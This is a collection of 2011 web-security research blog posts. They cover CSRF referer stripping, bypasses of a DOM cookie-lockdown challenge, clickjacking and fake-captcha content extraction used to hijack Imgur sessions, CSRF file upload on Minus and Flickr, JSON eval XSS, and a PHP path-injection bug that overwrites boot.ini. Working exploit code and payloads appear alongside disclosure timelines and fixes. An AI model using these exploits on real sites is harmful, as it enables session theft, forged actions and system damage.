 location = 'data:text/html,<html><meta http-equiv="refresh" content="0; url='+ url + '"></html>';
}

function post_and_lose(url) {
        // POST request, WebKit & Firefox. Data, meta & form submit trinity
 location = 'data:text/html,<html><meta http-equiv="refresh" content="0; url=data:text/html,<form id=f method=post action=\''+url+'\'></form><script>document.getElementById(\'f\').submit()</scri'+'pt>"></html>';
}

Demo and source.

Why do I care?

Pentester: Let's imagine you encounter a CSRF flaw on a website, but this website does referrer checking. Now, without relying on server side techniques you can use these snippets to quickly prepare a CSRF proof of concept for your client. How often do websites rely on referrer? Pretty often, just wait for the next post (here it is) on a neat Alexa Top 50 example.

Developer: Now you know not to rely on referrer checking as CSRF protection. The only way is to use tokens!

The sad state of DOM security (or how we all ruled Mario's challenge)

2011-10-11T18:16:00.000+02:00

A few days ago Mario Heiderich posted second installment of his xssme challenges (viewable in Firefox only for now). But it wasn't a usual challenge. The goal was not to execute your Javascript - it was to get access to the DOM object property (document.cookie) without user interaction. In fact, the payload wasn't filtered at all.

My precious!

This goes along Mario's work on locking DOM and XSS eradication attempt. The concept is that server side filtering for XSS will eventually fail if you need to accept HTML. Further on - sometimes Javascript code should be accepted from the client (mashups are everywhere!), instead we want it to run inside a sandbox, limiting access to some crucial properties (location, cookie, window, some tokens, our internal application object etc.). That's basically what Google Caja tries to achieve server-side. But server does not know about all those browser quirks, parsing issues - it's a different environment after all.

So if a total XSS eradication is possible - it has to be client-side, in the browser.
Of course, this requires some support from the browser and the most common weapon is ECMAScript 5 Object.defineProperty() and friends. Basically, it allows you to redefine a property of an object (say, document.cookie) with your own implementation and lock it down so further redefines are not possible.

In theory, it's great. You insert some Javascript code, locking down your precious DOM assets, then you can output unmodified client's code which is already operating in a controlled, sandboxed environment - and you're done. In theory. Read on!

What an event that was!

Mario started with this approach - he prepared a 'firewall' script and below displayed user-supplied HTML without any filtering. But first, only IE9+ and FF6+ were allowed (other browsers don't yet have all the features to lock the precious). In the firewall, he locked down document.cookie, leaving access to it only via a safe getter function. This safe getter function could only be called in via user click. IIRC, it looked like this:

<script>
    document.cookie = '123456-secret-123456'; // my precious

    var Safe = function() {
        var cookie = document.cookie; // reference to original
        this.get = function() { 
            var ec = arguments.callee.caller;
            var ev = ec.arguments[0];
            if(ec && ev.isTrusted === true 
                  && ev.type=='click') { // allow calling only from click events
                return cookie;
            }
            return null;
        };       
    };
    Object.defineProperty(window, 'Safe', {
        value: new Safe, configurable:false}
    ); // Safe cannot be overridden

    Object.defineProperty(document, 'cookie', {value: null, configurable: false}); // nullify and seal the original cookie
</script>
<button id="safe123" onclick="alert(Safe.get())">Access document.cookie safely -- the legit way</button>

So we're done, right-o? No! You could spoof the event, call the getter and get the cookie.

function b() { return Safe.get(); } 
alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); // call b({type:'click',isTrusted:true})

Solution? Make sure that the event is not spoofed by using instanceof yet another locked down object. That was also bypassed in many ways (look for event in bypass list), leading to other lockdowns.

I can read!

Another approach was to simply retrieve the script text from document source (after all, it's all in the same origin) - brilliant:

// one
alert(document.head.childNodes[3].text);
// two
alert(document.head.innerHTML.substr(146,20))
// three
var script = document.getElementsByTagName('script')[0]; 
var clone = script.childNodes[0].cloneNode(true); 
var ta = document.createElement('textarea'); ta.appendChild(clone); 
alert(ta.value.match(/cookie = '(.*?)'/)[1])

and similar (Authors, please contact me for credits!). The issue here is that client-side, same-origin I can read my own document, including the source code of the script containing the precious cookie.

Fix? Disallow a bunch of node reading functions - so even more locks to add.

We're on the web!

Speaking of reading - isn't the webpage just a blob of text content? Maybe there is a way to read webpage HTML without even interpreting it? Of course there is - it was for years. XMLHttpRequest. So there were multiple side-channel vectors that just read the original URL and extracted the cookie from responseText.

var request = new XMLHttpRequest();
request.open('GET', 'http://html5sec.org/xssme2', false);
request.send(null);
if (request.status == 200){alert(request.responseText.substr(150,41));}

Solution? Disallow XHR (and all it's other forms). Then this happened:

x=document.createElement('iframe');
x.src='http://html5sec.org/404';
x.onload=function(){window.frames[0].document.write("<script>r=new XMLHttpRequest();r.open('GET','http://html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>")};
document.body.appendChild(x);

and the challenge moved to the separate domain so that one could not attack via another page which was in same origin.
And then hell broke loose.

The great escape

People started to load javascript in iframes. These got quickly disabled:

            html.body.innerHTML = x;
            for (var i in j = html.querySelectorAll('iframe,object,embed')) {
                try {j[i].src = 'javascript:""';j[i].data = 'javascript:""'} 
                catch (e) {}
            }

Then Mario took another approach to lockdown and created the separate document, replacing the original to lose even his own origin (a brilliant code btw):

    if (document.head.parentNode.id !== 'sanitized') {
        document.write('<plaintext id=test>');
        var test = document.getElementById('test');
        setTimeout(function(){
            var x = test.innerHTML;
            var j = null;
            var html = document.implementation.createHTMLDocument(
                'http://www.w3.org/1999/xhtml', 'html', null
            );
            html.body.innerHTML = x;
            document.write('<!doctype html><html id="sanitized"><head>' 
    + document.head.innerHTML + '</head><body>' 
    + html.body.innerHTML + '</body></html>');
  },50);
    }

But still, as of now, two bypasses work. "Garethy Salty method" by Soroush Dalili and mine.

Mine is using the data: uri with a HTML document that loads the original page via XHR (possible because of Firefox's weird assumption that data: documents are of the same origin as the calling page). Gareth uses proprietary Firefox Components.lookupMethod and gets the original native objects that were supposed to be locked down.

// Mine - use XHR in data:uri
location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; 
// base 64 is:
<script>x=new XMLHttpRequest();x.open("GET","http://xssme.html5sec.org/xssme2/",true);x.onload=function() { alert(x.responseText.match(/document.cookie = '(.*?)'/)[1])};x.send(null);</script>

// Gareth - use unlockable Components.lookupMethod
alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/cookie.*'/));

Solution? None for now. I guess the location is going to be locked down to beat my vector, but Garethy Salty method looks flawless.

The sad state of DOM security

Current matters are that the DOM security is in a very poor state. In the end, to be able to lock down a single DOM property Mario - one of the best men for this job on the planet - had to:

agree to browser limits (currently only a single browser is in-scope, the challenge is not even working in Chrome)
lock down almost everything, including XHR, window, document
disallow user interaction
disallow reading the contents of the page
disallow iframes, object & embeds (so no Youtube movies :( )
deal with multiple browser quirks
deal with side channels
get the challenge on a separate subdomain
reload the whole page in new origin

Then a few dozen people sit down, make up the weirdest vectors and make all of this still bypassable :(

And yet we all rule

This post though comes as a salute to all you guys involved! We all rule!

Mario rules for coming up with all these countermeasures (remember - it's much tougher to defend)
All the contestants rule for bypassing them one after another (I've learned tons of new tricks from others)
The challenge rules as it showed exactly what is the current state of DOM security and what needs to be fixed
Javascript rules for making all of this possible
and Firefox rules for all its quirky bypasses ;)

Minus.com silent arbitrary file upload

2011-09-09T12:12:00.000+02:00

Summary

Minus ( http://min.us - now moved to http://minus.com ) is a simple sharing platform that allows users to share, publish and discover photos, docs, music, videos and more. This relatively new site has gained media attention and was recently featured in Techcrunch.com, Sitepoint, Lifehacker, Wall Street Journal etc. Minus recently raised $1M from IDG Capital Partners.
A few months ago I've found a way to silently upload and publish a file of attacker's choosing on behalf of a logged in Minus user, similar to what I found on Flickr. Today I present the vulnerability details with demonstration of an attack. The demo was first publicly disclosed at SecurityByte 2011.

The exploit is another example of HTML5 arbitrary file upload vulnerability, this time though it requires user interaction as the exploit uses UI redressing content extraction. The exploit is Firefox only.

Demo

Disclaimer

A few parts of the exploit don't work for now as during the months vendor updated its code substantially - this text represents the vulnerability when it was detected and reported first. Here's the source code for the exploit if you want to improve.

Vulnerabilities description

Minus website was vulnerable to CSRF attacks - it was possible to forge requests to the application, including file upload request. Additionally, a user of the application could be tricked into revealing sensitive data using UI-redressing, allowing attacker to undertake further actions on user's behalf.
The presented Proof of Concept exploited those vulnerabilities. It consists of multiple steps:

create a gallery
fetch gallery editor_id
upload a file
rename a gallery
make it public

To help you understand the API we're contacting with, here's docs. Let's go!

Create a gallery

Nothing fancy - Gallery creation URL is vulnerable to CSRF. Creating gallery request is created using HTML5 cross origin resource sharing (CORS).

var xhr = new XMLHttpRequest();
    xhr.open("GET", 'http://min.us/api/CreateGallery', true);
    xhr.withCredentials = "true";

    xhr.onreadystatechange = function() {
      if (xhr.readyState == 4) {
        if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) {
          
          if (xhr.responseText != "") {
            alert(JSON.parse(xhr.responseText).msg); // display response.
          }
        } else if (xhr.status == 0) {
            next_step()
        }
      }
    }
    xhr.send(null);

We're using withCredentials to include cookies. next_step() will launch after server returned a response. This will produce a HTTP request like so:

GET /api/CreateGallery HTTP/1.1
Host: min.us
...
Referer: http://attacker.blog.security.localhost/min.us/
Origin: http://attacker.blog.security.localhost
Cookie: sessionid=deadbeef;

Cookies are included, also the Referer points to attacker's site. The target website does not issue any CORS-enabling HTTP headers, so while we can send (more or less) arbitrary POST/GET requests with user cookies, the attacker won't get access to the response. But the gallery (private by default) will be created nonetheless.

Get gallery editor_id
To be able to modify a gallery (e.g. upload files), we need it's editor_id. While the server responded with it, we didn't get the answer (CORS limitation). Luckily editor_id can also be found in HTML rendered by the Minus home page for a user:

<!-- homepage -->
<div class="bottom_left_options">
  <a href="/mZ3cbJIjIKBGR">Edit</a>
  <input type="hidden" value="Z3cbJIjIKBGR" name="gallery_editor_url">
  <select class="gaccess_select public">
    <option value="public" selected="selected">Public</option>
    <option value="private">Private</option>
  </select>
</div>

Due to same origin policy, we can't read the Minus site contents. But the site is vulnerable to clickjacking(no X-Frame-Options, no frame-busting), so Minus home page can be embedded in an iframe on attackers's site, like this:

The frame is positioned on 'edit' link of topmost gallery (which just so happens is a gallery silently created by an attacker). The link href is http://min.us/m[gallery_editor_id]. Now it's just a simple game - the trash can is overlaid by invisible textarea, so dragging paper to trashcan is actually dragging a link to a textarea, which will copy the link href there (Mozilla only, Webkit disallows cross origin drag&drop). Then some Javascript trickery and we have editor_id! That's an example of content extraction UI redressing attack.

Upload a file

HTML5 cross-domain arbitrary file upload technique is used - it's even easier as we don't need to make a MIME form, Minus accepts a binary file in POST body contents.

POST /api/UploadItem_Web/?editor_id=Z3cbJIjIKBGR&key=OK&filename=cake.jpg HTTP/1.1
Host: min.us
...
Proxy-Connection: keep-alive
Content-Type: text/plain
Referer: http://attacker.blog.security.localhost/min.us/
Content-Length: 23478
Origin: http://attacker.blog.security.localhost
Cookie: sessionid=deadbeef

[binary-file-here]

And so on...

then we simply make other CORS requests to rename the gallery and make it public. We don't care about the responses, as there are no one-time tokens in them - only things needed are the sessionid cookie (supplied by the browser with xhr.useCredentials) and editor_id.

How can we fix this?

editor_id must be protected from being disclosed. In this case, using X-Frame-Options header would be enough to make the exploit impossible.
Introduce additional temporary tokens to guard users from CSRF.
Many state changing actions are triggered by a GET request. Switch to POST.
Mozilla - fix bugs! https://bugzilla.mozilla.org/show_bug.cgi?id=605991 and https://bugzilla.mozilla.org/show_bug.cgi?id=639796

Timeline

7.06.2011 - Issue discovered

8.06.2011 - Exploit ready, notified vendor, vendor response

9.06.2011 - Additional details sent to vendor
17.06.2011 - Asked vendor for the estimated fix timeline, no response
30.06.2011 - No fix timelime given
22.08.2011 - Parts of the exploit stop working due to unknown changes in the vendor code
22.08.2011 - Vendor notified of the public disclosure date
06.09.2011 - Public disclosure at SecurityByte 2011

Final notes

UI-Redressing attacks are getting more and more powerful, this time effectively leading to token disclosure, allowing for CSRF. Yet they still don't get enough attention from browser vendors (i'm looking at you, Mozilla!) and web developers. It's exactly the reason of why I'm trying to prepare a reasonable proof of concept scenarios whenever I encounter such a vulnerability. Seeing is believing.

Also - HTML5 sites are a minefield from the security perspective. I've discovered just a small issue that allowed a file to be uploaded silently - and I've already found the way to exploit this on Flickr.com and Minus in less than a month. One pretty big site and a trending one. And they're the only one I've checked. Just like DOM-XSS (as proved by DOMinator), the stuff is out there, vulnerable, waiting for attention.

Death to the filters - how to validate JSON correctly

2011-08-24T15:19:00.001+02:00

JSON is a pretty popular data-interchange format. It's supported across programming languages, fits naturally into Javascript environment, it's human-readable and it's much lighter than XML. No wonder the format is widely adopted in many web applications.
Disclaimer: This post will probably be nothing new to security experts. It's meant for developers, as I've seen vulnerable applications using the bad practices described here.

Is JSON secure?

Well, it has some quirks (it had even more of them in the past) but mostly it's good enough. Provided two things:

you don't use eval!
you are sure that's JSON (not everything that's a valid Javascript is JSON, it's only a subset)

Eval() is, as usual, asking yourself for trouble. Unfortunately, it's common - it's even mentioned in JSON's own documentation as a recommended practice:

To convert a JSON text into an object, you can use the eval() function. eval() invokes the JavaScript compiler. Since JSON is a proper subset of JavaScript, the compiler will correctly parse the text and produce an object structure. The text must be wrapped in parens to avoid tripping on an ambiguity in JavaScript's syntax.
var myObject = eval('(' + myJSONtext + ')');
The eval function is very fast. However, it can compile and execute any JavaScript program, so there can be security issues. The use of eval is indicated when the source is trusted and competent. It is much safer to use a JSON parser. In web applications over XMLHttpRequest, communication is permitted only to the same origin* that provide that page, so it is trusted. But it might not be competent. If the server is not rigorous in its JSON encoding, or if it does not scrupulously validate all of its inputs, then it could deliver invalid JSON text that could be carrying dangerous script. The eval function would execute the script, unleashing its malice.

* docs are outdated, you can do cross-origin request now (CORS)

Example - no filters

So, when using eval() it's crucial that the input is in fact valid JSON that has not been tampered with. Consider the following situation:

Our application uses JSON to store various user preferences (e.g. background color settings). Server does not care about the JSON, it's only relevant to client-side scripts. The data flow looks like this:

User fills out the 'change preferences' form
Javascript code creates JSON out of this and POSTs it to the server
Server stores JSON in the database and retrieves it in future requests. The resulting code looks like this: preferences_json = '{"background":"red"}';
Javascript needs to get preferences, so it uses:

var prefs = eval("(" + preferences_json + ")");
document.body.style.backgroundColor = prefs.background;
...

XSSing this is simple - escape from single quotes:

//  payload:    '; alert(1); //
// this will execute in the preferences_json line like this:
preferences_json = ''; alert(1); //';

So the server needs to either deny ' in input or escape the output (' becomes \'). Are we secure now? No!

Filtering

Even with proper escaping, we do not have to escape the string at all for XSS. We can do the code execution in eval() call:

// payload:   alert(1),{"background":"red"}
// This will become:
eval("("+'alert(1),{"background":"red"}'+")");
// and alert will execute.

One very bad practice I saw is disallowing certain characters in JSON input when storing it. For example, you could disallow "(" and ")" so that function can't be executed. But there are ways to execute functions without "()" - see for example this wonderful vector for IE. In fact, it's even possible to execute JS in this context if you're only allowing a-z A-Z 0-9 { } - : , . " (most of these characters are required for JSON to work anyway). Another example - allow \ and attacker can use obfuscation (e.g. \u0020 ) and embed pretty much any character.

If you validate JSON by looking at characters only and disallowing / allowing them - you're toasted. You've just opened a bag of tricks for attackers to use (and new techniques requiring fewer characters are still in development). Don't!

Try for yourself!

Think you can execute arbitrary code in this victim page? Yes, you can!

Source code for examples is, as always, on GitHub. And remember:

If you accept JSON input, make sure it's a legit JSON input (JSON is a subset of Javascript!). In PHP you can use json_decode()to validate server-side.
Validating JSON using character whitelist is a dead end. Don't do it. There are really tricky vectors around.
Don't use eval! There's JSON.parse() built into newer browsers, for older - use this.

How not to implement CAPTCHAs (MotionCAPTCHA rant)

2011-08-08T15:04:00.004+02:00

CAPTCHA ("Completely Automated Public Turing test to tell Computers and Humans Apart") are security controls used to prevent automated attacks against a website. You can see them in Gmail account register pages, blog comment forms etc. Sometimes they are used as a CSRF attack countermeasure.

How to do it?

Designing CAPTCHA challenge is hard - you need to fight OCRs (if the CAPTCHA is based on image recognition) and cheap labour (attackers pay $12 for solving 500 CAPTCHA, according to OWASP). On the other hand, it needs to be solvable by your users - so this one, while certainly being a strong challenge, is probably not a good idea ;)

But no matter what the challenge, the whole CAPTCHA architecture must be secure. For example:

it must be protected against replay attacks (CAPTCHA ID generated once cannot be reused)
CAPTCHA given for one session should not be valid in other session. There must be a relation between CAPTCHA and a session, so that the attacker won't solve the CAPTCHA (e.g. manually) in his own session and submit the solved value in the other session.
CAPTCHA solution must not be stored on the client
it must be protected against brute-force attack (e.g.require another CAPTCHA after a few invalid responses)
The amount of possible CAPTCHAs must be A Big Number (bruteforce protection).

I really recommend all the developers to read Strong CAPTCHA guidelines as many design issues are tricky.

MotionCAPTCHA - The fail of the day

What pushed me into writing this blog post is the MotionCAPTCHA project I encountered. It's a HTML5 (yay!) canvas based project where the challenge is to repeat drawing a given shape to prove being a human. I've seen a few broken CAPTCHAs in my life, but this one is just over the top. Just two examples:

These are the available shapes (all 16 of them):

And this is how you implement it (cited from the readme):

You manually disable your form, by emptying the form's action attribute, and placing its value in a hidden <input> with a specific ID. You should also put disabled="disabled" on the submit button, for added points.
You add a few HTML lines to your form to initialise the MotionCAPTCHA canvas, and add the plugin's scripts to your page.
The user draws the shape and, if it checks out, the plugin inserts the form's action into the <form> tag. The user can submit the form, happy days.

I mean, WTF? So the form looks like this:

<form action="#" method="post" id="mc-form"> 
				<p><input class="placeholder" type="text" placeholder="your name &hellip;"></p> 
				<p><input class="placeholder" type="email" placeholder="your email address &hellip;"></p> 
				<p><textarea class="placeholder" placeholder="your message &hellip;" cols="" rows="3"></textarea></p> 
 
				<div id="mc"> 
					<p>Please draw the shape in the box to submit the form: (<a onclick="window.location.reload()" href="#" title="Click for a new shape">new shape</a>)</p> 
					<canvas id="mc-canvas"> 
						Your browser doesn't support the canvas element - please visit in a modern browser.
					</canvas> 
					<input type="hidden" id="mc-action" value="http://josscrowcroft.com/projects/motioncaptcha-jquery-plugin/" /> 
				</div> 
 
				<p><input disabled="disabled" autocomplete="false" type="submit" value="Submit"></p> 
				
				<p><a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" data-via="josscrowcroft">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></p> 
 
			</form>

and when I solve the challenge, the 'mc-action' will become the form action and the form submits? And the server does not care about the challenge cause it's client side only? How about bot POSTing the form in its entirety to the mc-action URL and bypassing the CAPTCHA completely? #security #fail! Client side CAPTCHA will never be secure, it just can't!

Imgur.com session hijacking

2011-07-06T20:34:00.000+02:00

Session hijacking usually requires XSS vulnerability (or MITM attack). But what to do when there is none? Of course, we might trick the user with UI Redressing!

Yesterday I presented a new way to trigger content extraction. Being UI redressing vector, it requires user intervention, this time tricking user to copy & paste some text through his clipboard to solve a kind of CAPTCHA challenge. Today we'll make a real life example of using this method.

Requirements

Fake captcha has some advantages over 'drag & drop hidden page source', however attacker has to:

find a page with certain CAPTCHA-like text
the text had to be at exact line / column position in HTML source
the page source had to contain something relevant for further attack (user id, session id, password text etc.)
only one line could get copied/pasted

Looks too limiting?

Let's make this easier

We might be able to meet the requirements, when we consider this:

CAPTCHA might be reflected (the attacker controls the URL to display) - so e.g. search results page would be a good candidate
if attacker is able to store anything on the target domain (e.g. his profile data on a social network site), maybe he can direct the user to the page with that data?
CAPTCHA might be e.g. account id for Google Analytics or other services website is using
sometimes websites compress the HTML source to conserve bandwidth, stripping all whitespaces, including newlines. So all the web page is on a single line - no line positioning and attacker gets full HTML source in the clipboard!

Think big!

UI redressing requires user intervention, and that is its weak point. After all, users might not use the clipboard, might just ignore the trap set for them etc.
Sometimes just a single user tricked is enough, but usually attacker needs several victims. The bigger the site, the better (more potential victims). What if you have a pretty big target? Is Alexa top 200 enough? Let's see. Let me introduce:

Imgur.com session hijacking

This is an example of using the fake captcha content extraction to hijack the session of logged in imgur.com user.

What is happening:

Exploit detects if user runs Firefox (the only vulnerable browser) and if he is logged in to imgur.com (with iframe scrolling position method). If not - it aborts.
Fake form is displayed. One of the fields, the 'security code' is actually part of Google AdSense used by imgur:

GS_googleAddAdSenseService("ca-pub-4470792243209857");

At http://imgur.com?flash this code is always (at least for a few days) at the same HTML position (at least for Firefox). There were differences for other pages
http://imgur.com?flash also has some nice content:

<form method="post" id="uploadform" enctype="multipart/form-data" action="/upload">
<input id="sid" name="UPLOAD_IDENTIFIER" type="hidden" value="tfm4m79nrb98e3hb0u0sc2aki2" />

This UPLOAD_IDENTIFIER is a session cookie value :) Remember, imgur - Using httpOnly cookies only makes sense if you don't repeat them in HTML!

To make the exploit easy, I used the API reachable at api.imgur.com that has the nice feature of letting me authenticate with simply passing the cookie from main site.

See for yourself: live: http://kotowicz.net/imgur/ , source: github

Cross domain content extraction with fake captcha

2011-07-05T17:53:00.005+02:00

Content extraction is one of the recently documented UI redressing vectors. It exploits Firefox vulnerability that allows to display any URL HTML source in an iframe like this:

<iframe src="view-source:http://any-page-you.like/cookies-included">

With social engineering attacker tricks user into selecting (usually invisible) page source and dragging it to attackers' controlled textarea. A simple demo is here:

Drag & drop other page source (cross-domain)

Once attacker gets the page source dropped into his textarea, he may begin to extract contents (like session IDs, user names, anti csrf tokens etc.) and launch further attacks.

However, this way of using the vector requires significant effort from a user and is pretty difficult to exploit in real world situation (there's some clicking and dragging involved). Also, it will stop working once Mozilla disallows cross origin drag & dropping.

I've found a neat way to do cross-origin content extraction that might be more suitable for some classes of websites. Ladies and gentleman, let me present Fake Captcha:

No more drag

The weak point of the 'classic' method for me was the dragging that was involved. In Firefox, once you drag something, it displays a shadow of the object at the cursor - and a whole HTML source being displayed for the user is really hard to hide. I decided to convince the user to copy & paste the source with his clipboard instead.

Copying & pasting requires four steps:

selecting the text to copy
ctrl-c
navigating to target element
ctrl-v

Each of these steps requires user intervention. I could make a game/quiz that requires certain keypresses, but that's weak (although it works for Facebook users). Instead, I wanted it to feel natural for the user. Nothing is hidden and he just uses the clipboard because he wants to.

So, when do you use a clipboard?

Well, I don't like typing. So everytime I'm forced to repeat my e-mail address in a form, I just copypaste it. I decided to go that way. What if we display longish captcha-like 'security code' for a user to retype? 16 characters or more? Some of them will skip this step altogether, some will retype, but most will select the text and copy/paste.

How do you select?

You can select with your mouse. In Firefox, you can also select by double / tripple clicking. My assumption is that most of the users use the clicking method to select text.

Double click stops at word boundary, third click expands to whole paragraph (try this text). In the above example, you need three clicks to select the whole visible code. Why do we care?

I'm framed!

Because the security code input field is just precisely positioned part of the view-source:d victim page. And by tripple clicking user selects the whole line from the page source!

Demo

It's best to see the demo to understand what's going on. We want to extract the anti-CSRF token from the victim page cross domain. The token is in the page source, line 7:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>NDCP</title>
<script type="text/javascript">
var csrf_token = '35fb6df6-2ab9-408b-abe3-769412a58e15';
</script>
<style>
body {
    background: url(nuke.jpg) left top repeat;
    color: white;
    font-family: Verdana, arial, sans-serif;
}
// and so on

So we display the source in a small frame, position it to only display a few characters, starting from line 7, column 19. Then we convince the user to select the whole line with tripple click - double click will stop at minus sign, so the user will probably do the third click to select all.
After selecting he copies, clicks the next field and pastes. Then we're done.

Details matter

See the source to appreciate all the small, but very important details, especially:

how to measure the font size used in view-source:
what was view-source:view-source: used for
how to position an iframe to line / column of HTML source
how the input and frame was styled to look similar

How not to get owned?

web developers - use X-Frame-Options header (js framebusting won't work here). Remember, once you allow your site to be framed, you're opening to a whole class of UI redressing attacks, most of the attacks are not even discovered yet, it's a new field of research. So if you don't use X-Frame-Options, better have a really good explanation.
users - don't use Firefox or ~~look carefully on what you do~~ use NoScript

Summary

There's a new 'fake captcha' method of using the content extraction UI redressing vector.

Pros:

does not require drag & dropping
accounts for font-size differences
more convincing for a user

Cons:

won't work if user uses mouse to select text (unless attacker is interested in only the visible part)
requires a captcha like string in victim HTML source
it's line / column position must be constant and known to attacker
only one line of HTML source might be copied (but websites' HTML is often minimized to a single line)

You might find the requirements very limiting. I also thought that's simply impossible to exploit in real life. Until I started looking - wait for the next post :)

Update: Latest NoScript (2.1.2+) contains code neutralizing fake captcha method. Yeat another great work of Giorgio Maone!

Update 2: Fake CAPTCHA technique spotted in the wild to extract Facebook CSRF tokens.

File path injection in PHP ≤ 5.3.6 file upload (CVE 2011-2202)

2011-06-18T13:05:00.001+02:00

Since the thing went public before new PHP version has been released, I present full details of the latest PHP vulnerability I reported - together with some sweet demo exploit. The issue was found with fuzzing being part of my recent file upload research. And I still have some more to show in the future :)

My thanks go to Paweł Goleń who helped analyze the vulnerability.

The PHP Part

The whole issue is tracked as PHP bug #54939, but the website is now down. The exemplary exploit is at pastebin. The nature of the bug is simple. PHP claims to remove the path component from HTTP file upload forms (transferred as MIME multipart/form-data requests), leaving only the file name given by the user agent. This is both for security, and to fix MSIE incompatibility (IE used to send full path like this: c:\WINDOWS\WHATEVER\My_file.txt).

However, in 2008 PHP developers made a off-by-one error, and, as a result, if a name starts with \ or / and has no other (back)slashes, it's left as-is. So, this allows for:

/vmlinuz
/autorun.inf (/ will map to C:\ in WINDOWS - the drive where your PHP is run from)
/boot.ini

and other interesting file "names" to pass through.

The application part

Of course, what this means is simply that $_FILES[$input_field_name]['name'] will contain unsanitized file path - and that's not enough to complete an exploit. PHP script would need to use that filename as a destination for file writing. Unfortunately, at least a few applications do. I've found some pretty interesting examples. Among them is this AjaxFileUpload plugin. There are more applications with the same approach - just go on looking! AjaxFileUpload simply passes the given file "name" to move_uploaded_file(), which would try to create/overwrite a file in a root directory...

The set up part

And that will most likely fail, because of insufficient permissions. Who on Earth would allow PHP to write to root? Well, default Apache installation on Windows systems is run as a SYSTEM user (a.k.a root). Also, for some shared hostings PHP is run in a chroot-ed environment, and / is the document root of a website (which allows for an easy site defacement). It's tricky, I agree, that's why this bug is v. difficult to exploit in the wild (luckily).

But it's possible!

Today's Heroes:

WAMP server, newest version (PHP 5.3.5), default install
PHP <= 5.3.6, (5.3.5 in the demo)
Windows XP
AjaxFileUpload - A jQuery plugin that simulates asynchronous file uploads.

In the exploit I simply show that (thanks to vulnerable set up) I can overwrite c:\boot.ini and make the system unbootable. There are more advanced scenarios that could be done (essentially I can supply a boot record file to use on next boot), but it's not my area of expertise. To upload a file, the HTML5 arbitrary file upload technique was used.

So, patch your PHPs and bye!

Invisible arbitrary CSRF file upload in Flickr.com

2011-05-18T20:43:00.001+02:00

Summary

Basic upload form in Flickr.com was vulnerable to CSRF. Visiting a malicious page while being logged in to Flickr.com (or using Flickr.com 'keep me signed in' feature) allowed attacker to upload images or videos on user's behalf. These files could have all the visibility / privacy settings that user can set in Basic Upload form. Uploading files did not require any user intervention and/or consent.

Described vulnerability has been quickly fixed by Flickr.com team.

The exploit is an example of using my HTML5 arbitrary file upload method.

Demo

Vulnerability description

Flickr.com basic upload form displayed on http://www.flickr.com/photos/upload/basic/ submits a POST request with multipart/form-data MIME type (standard HTTP File Upload form).

Basic File Upload Form

This request looks like this:

POST /photos/upload/transfer/ HTTP/1.1
Host: up.flickr.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.flickr.com/photos/upload/basic/
Cookie: BX=somecookies&b=3&s=rv; localization=en-us%3Bus%3Bpl; current_identity_provider_name=yahoo; current_identity_email=removed@example.com; cookie_session=session-id-here
Content-Type: multipart/form-data; boundary=---------------------------410405671879807276394827599
Content-Length: 29437

-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="done"

1
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="complex_perms"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="magic_cookie"

8b84f6a5d988b5f3a1be31c841042f41
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="file1"; filename="0011.jpg"
Content-Type: image/jpeg

[binary-data-here]
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="tags"


-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="is_public_0"

1
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="safety_level"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="content_type"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="Submit"

UPLOAD
-----------------------------410405671879807276394827599--

On line 11 there are some Flickr.com cookies, there is also a magic_cookie form field which looks like an anti-CSRF token. However, it was not verified properly. Changing the value or removing magic_cookie field still resulted in successful file upload.

To make things worse, Flickr.com uses persistent cookie BX for 'keep me signed in' feature. Sending POST request to http://up.flickr.com/photos/upload/transfer/does not require an active session set up beforehand. If BX cookie is present, Flickr.com will silently sign the user in while processing the request. Therefore all accounts using Flickr.com 'keep me signed in' feature were potential targets of described attack.

Attack

Malicious page with this HTML code:

<form enctype=multipart/form-data action="http://up.flickr.com/photos/upload/transfer/" method="post">
<input type=hidden name=is_public_0 value=1>
<input type=file name=file1>
<input type="submit">
<!-- no magic_cookie here, still works -->
</form>

was able to submit a file to Flickr.com on logged in user's behalf, because the browser would attach the Flickr cookies to the request, and Flickr had no way of distinguishing it from a legitimate request (a classic CSRF vulnerability).

Above technique required user to manually choose the file from his HDD. However, using my HTML5 arbitrary file upload method a malicious page was able to construct the raw multipart/form-data request in Javascript and send it quietly without user interaction. In the demo video, a button press is required, but this is only for presentational purposes. File upload can be triggered automatically on page load.

